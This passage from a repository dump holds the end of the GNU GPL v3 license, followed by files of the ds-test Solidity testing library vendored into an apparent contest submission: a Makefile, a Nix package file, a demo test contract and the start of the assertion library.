of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<http://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<http://www.gnu.org/philosophy/why-not-lgpl.html>.\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/ds-test/Makefile",
    "content": "all:; dapp build\n\ntest:\n\t-dapp --use solc:0.4.23 build\n\t-dapp --use solc:0.4.26 build\n\t-dapp --use solc:0.5.17 build\n\t-dapp --use solc:0.6.12 build\n\t-dapp --use solc:0.7.5  build\n\ndemo:\n\tDAPP_SRC=demo dapp --use solc:0.7.5 build\n\t-hevm dapp-test --verbose 3\n\n.PHONY: test demo\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/ds-test/default.nix",
    "content": "{ solidityPackage, dappsys }: solidityPackage {\n  name = \"ds-test\";\n  src = ./src;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/ds-test/demo/demo.sol",
    "content": "// SPDX-License-Identifier: GPL-3.0-or-later\npragma solidity >=0.4.23;\n\nimport \"../src/test.sol\";\n\ncontract DemoTest is DSTest {\n    function test_this() public pure {\n        require(true);\n    }\n    function test_logs() public {\n        emit log(\"-- log(string)\");\n        emit log(\"a string\");\n\n        emit log(\"-- log_named_uint(string, uint)\");\n        log_named_uint(\"uint\", 512);\n\n        emit log(\"-- log_named_int(string, int)\");\n        log_named_int(\"int\", -512);\n\n        emit log(\"-- log_named_address(string, address)\");\n        log_named_address(\"address\", address(this));\n\n        emit log(\"-- log_named_bytes32(string, bytes32)\");\n        log_named_bytes32(\"bytes32\", \"a string\");\n\n        emit log(\"-- log_named_bytes(string, bytes)\");\n        log_named_bytes(\"bytes\", hex\"cafefe\");\n\n        emit log(\"-- log_named_string(string, string)\");\n        log_named_string(\"string\", \"a string\");\n\n        emit log(\"-- log_named_decimal_uint(string, uint, uint)\");\n        log_named_decimal_uint(\"decimal uint\", 1.0e18, 18);\n\n        emit log(\"-- log_named_decimal_int(string, int, uint)\");\n        log_named_decimal_int(\"decimal int\", -1.0e18, 18);\n    }\n    event log_old_named_uint(bytes32,uint);\n    function test_old_logs() public {\n        log_old_named_uint(\"key\", 500);\n        log_named_bytes32(\"bkey\", \"val\");\n    }\n    function test_trace() public view {\n        this.echo(\"string 1\", \"string 2\");\n    }\n    function test_multiline() public {\n        emit log(\"a multiline\\\\n\" \"string\");\n        emit log(\"a multiline \" \"string\");\n        log_bytes(\"a string\");\n        log_bytes(\"a multiline\\n\" \"string\");\n        log_bytes(\"a multiline\\\\n\" \"string\");\n        emit log(unicode\"Ώ\");\n        logs(hex\"0000\");\n        log_named_bytes(\"0x0000\", hex\"0000\");\n        logs(hex\"ff\");\n    }\n    function echo(string memory s1, string memory s2) public pure\n        returns (string memory, string memory)\n    {\n        return (s1, s2);\n    }\n\n    function prove_this(uint x) public {\n        log_named_uint(\"sym x\", x);\n        assertGt(x + 1, 0);\n    }\n\n    function test_logn() public {\n        assembly {\n            log0(0x01, 0x02)\n            log1(0x01, 0x02, 0x03)\n            log2(0x01, 0x02, 0x03, 0x04)\n            log3(0x01, 0x02, 0x03, 0x04, 0x05)\n        }\n    }\n\n    event MyEvent(uint, uint indexed, uint, uint indexed);\n    function test_events() public {\n        emit MyEvent(1, 2, 3, 4);\n    }\n\n    function test_asserts() public {\n        string memory err = \"this test has failed!\";\n        emit log(\"## assertTrue(bool)\\n\");\n        assertTrue(false);\n        emit log(\"\\n\");\n        assertTrue(false, err);\n\n        emit log(\"\\n## assertEq(address,address)\\n\");\n        assertEq(address(this), msg.sender);\n        emit log(\"\\n\");\n        assertEq(address(this), msg.sender, err);\n\n        emit log(\"\\n## assertEq32(bytes32,bytes32)\\n\");\n        assertEq32(\"bytes 1\", \"bytes 2\");\n        emit log(\"\\n\");\n        assertEq32(\"bytes 1\", \"bytes 2\", err);\n\n        emit log(\"\\n## assertEq(bytes32,bytes32)\\n\");\n        assertEq32(\"bytes 1\", \"bytes 2\");\n        emit log(\"\\n\");\n        assertEq32(\"bytes 1\", \"bytes 2\", err);\n\n        emit log(\"\\n## assertEq(uint,uint)\\n\");\n        assertEq(uint(0), 1);\n        emit log(\"\\n\");\n        assertEq(uint(0), 1, err);\n\n        emit log(\"\\n## assertEq(int,int)\\n\");\n        assertEq(-1, -2);\n        emit log(\"\\n\");\n        assertEq(-1, -2, err);\n\n        emit log(\"\\n## assertEqDecimal(int,int,uint)\\n\");\n        assertEqDecimal(-1.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertEqDecimal(-1.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertEqDecimal(uint,uint,uint)\\n\");\n        assertEqDecimal(uint(1.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertEqDecimal(uint(1.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertGt(uint,uint)\\n\");\n        assertGt(uint(0), 0);\n        emit log(\"\\n\");\n        assertGt(uint(0), 0, err);\n\n        emit log(\"\\n## assertGt(int,int)\\n\");\n        assertGt(-1, -1);\n        emit log(\"\\n\");\n        assertGt(-1, -1, err);\n\n        emit log(\"\\n## assertGtDecimal(int,int,uint)\\n\");\n        assertGtDecimal(-2.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertGtDecimal(-2.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertGtDecimal(uint,uint,uint)\\n\");\n        assertGtDecimal(uint(1.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertGtDecimal(uint(1.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertGe(uint,uint)\\n\");\n        assertGe(uint(0), 1);\n        emit log(\"\\n\");\n        assertGe(uint(0), 1, err);\n\n        emit log(\"\\n## assertGe(int,int)\\n\");\n        assertGe(-1, 0);\n        emit log(\"\\n\");\n        assertGe(-1, 0, err);\n\n        emit log(\"\\n## assertGeDecimal(int,int,uint)\\n\");\n        assertGeDecimal(-2.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertGeDecimal(-2.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertGeDecimal(uint,uint,uint)\\n\");\n        assertGeDecimal(uint(1.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertGeDecimal(uint(1.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertLt(uint,uint)\\n\");\n        assertLt(uint(0), 0);\n        emit log(\"\\n\");\n        assertLt(uint(0), 0, err);\n\n        emit log(\"\\n## assertLt(int,int)\\n\");\n        assertLt(-1, -1);\n        emit log(\"\\n\");\n        assertLt(-1, -1, err);\n\n        emit log(\"\\n## assertLtDecimal(int,int,uint)\\n\");\n        assertLtDecimal(-1.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertLtDecimal(-1.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertLtDecimal(uint,uint,uint)\\n\");\n        assertLtDecimal(uint(2.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertLtDecimal(uint(2.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertLe(uint,uint)\\n\");\n        assertLe(uint(1), 0);\n        emit log(\"\\n\");\n        assertLe(uint(1), 0, err);\n\n        emit log(\"\\n## assertLe(int,int)\\n\");\n        assertLe(0, -1);\n        emit log(\"\\n\");\n        assertLe(0, -1, err);\n\n        emit log(\"\\n## assertLeDecimal(int,int,uint)\\n\");\n        assertLeDecimal(-1.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertLeDecimal(-1.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertLeDecimal(uint,uint,uint)\\n\");\n        assertLeDecimal(uint(2.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertLeDecimal(uint(2.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertEq(string,string)\\n\");\n        string memory s1 = \"string 1\";\n        string memory s2 = \"string 2\";\n        assertEq(s1, s2);\n        emit log(\"\\n\");\n        assertEq(s1, s2, err);\n\n        emit log(\"\\n## assertEq0(bytes,bytes)\\n\");\n        assertEq0(hex\"abcdef01\", hex\"abcdef02\");\n        log(\"\\n\");\n        assertEq0(hex\"abcdef01\", hex\"abcdef02\", err);\n    }\n}\n\ncontract DemoTestWithSetUp {\n    function setUp() public {\n    }\n    function test_pass() public pure {\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/ds-test/src/test.sol",
    "content": "// SPDX-License-Identifier: GPL-3.0-or-later\n\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n// GNU General Public License for more details.\n\n// You should have received a copy of the GNU General Public License\n// along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\npragma solidity >=0.4.23;\n\ncontract DSTest {\n    event log                    (string);\n    event logs                   (bytes);\n\n    event log_address            (address);\n    event log_bytes32            (bytes32);\n    event log_int                (int);\n    event log_uint               (uint);\n    event log_bytes              (bytes);\n    event log_string             (string);\n\n    event log_named_address      (string key, address val);\n    event log_named_bytes32      (string key, bytes32 val);\n    event log_named_decimal_int  (string key, int val, uint decimals);\n    event log_named_decimal_uint (string key, uint val, uint decimals);\n    event log_named_int          (string key, int val);\n    event log_named_uint         (string key, uint val);\n    event log_named_bytes        (string key, bytes val);\n    event log_named_string       (string key, string val);\n\n    bool public IS_TEST = true;\n    bool public failed;\n\n    address constant HEVM_ADDRESS =\n        address(bytes20(uint160(uint256(keccak256('hevm cheat code')))));\n\n    modifier mayRevert() { _; }\n    modifier testopts(string memory) { _; }\n\n    function fail() internal {\n        failed = true;\n    }\n\n    modifier logs_gas() {\n        uint startGas = gasleft();\n        _;\n        uint endGas = gasleft();\n        emit log_named_uint(\"gas\", startGas - endGas);\n    }\n\n    function assertTrue(bool condition) internal {\n        if (!condition) {\n            emit log(\"Error: Assertion Failed\");\n            fail();\n        }\n    }\n\n    function assertTrue(bool condition, string memory err) internal {\n        if (!condition) {\n            emit log_named_string(\"Error\", err);\n            assertTrue(condition);\n        }\n    }\n\n    function assertEq(address a, address b) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [address]\");\n            emit log_named_address(\"  Expected\", b);\n            emit log_named_address(\"    Actual\", a);\n            fail();\n        }\n    }\n    function assertEq(address a, address b, string memory err) internal {\n        if (a != b) {\n            emit log_named_string (\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n\n    function assertEq(bytes32 a, bytes32 b) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [bytes32]\");\n            emit log_named_bytes32(\"  Expected\", b);\n            emit log_named_bytes32(\"    Actual\", a);\n            fail();\n        }\n    }\n    function assertEq(bytes32 a, bytes32 b, string memory err) internal {\n        if (a != b) {\n            emit log_named_string (\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n    function assertEq32(bytes32 a, bytes32 b) internal {\n        assertEq(a, b);\n    }\n    function assertEq32(bytes32 a, bytes32 b, string memory err) internal {\n        assertEq(a, b, err);\n    }\n\n    function assertEq(int a, int b) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [int]\");\n            emit log_named_int(\"  Expected\", b);\n            emit log_named_int(\"    Actual\", a);\n            fail();\n        }\n    }\n    function assertEq(int a, int b, string memory err) internal {\n        if (a != b) {\n            emit log_named_string(\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n    function assertEq(uint a, uint b) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [uint]\");\n            emit log_named_uint(\"  Expected\", b);\n            emit log_named_uint(\"    Actual\", a);\n            fail();\n        }\n    }\n    function assertEq(uint a, uint b, string memory err) internal {\n        if (a != b) {\n            emit log_named_string(\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n    function assertEqDecimal(int a, int b, uint decimals) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Expected\", 